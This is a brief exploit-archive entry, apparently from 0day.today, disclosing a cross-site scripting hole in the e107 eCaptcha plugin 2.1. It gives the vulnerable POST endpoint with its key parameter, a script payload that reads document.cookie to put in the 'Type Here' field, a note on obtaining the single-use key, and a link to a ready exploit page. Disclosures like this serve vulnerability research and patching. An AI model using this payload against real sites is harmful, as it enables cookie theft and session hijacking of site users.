e107 eCaptcha plugin 2.1 xss

============================
e107 eCaptcha plugin 2.1 xss
============================

XSS:
 
POST query at page
http://site/path/ecaptcha/?key=b7c9bf99e763252105f047a5ca5681d0
 
<script>alert(document.cookie)</script>
in field: Type Here.
 
Working key (ecaptcha_key) is required, which can be retrieved by script.
Every key works only for one time.
 
Exploit:
 
http://websecurity.com.ua/uploads/2008/eCaptcha%20XSS.html
 

#  0day.today [2018-04-02]  #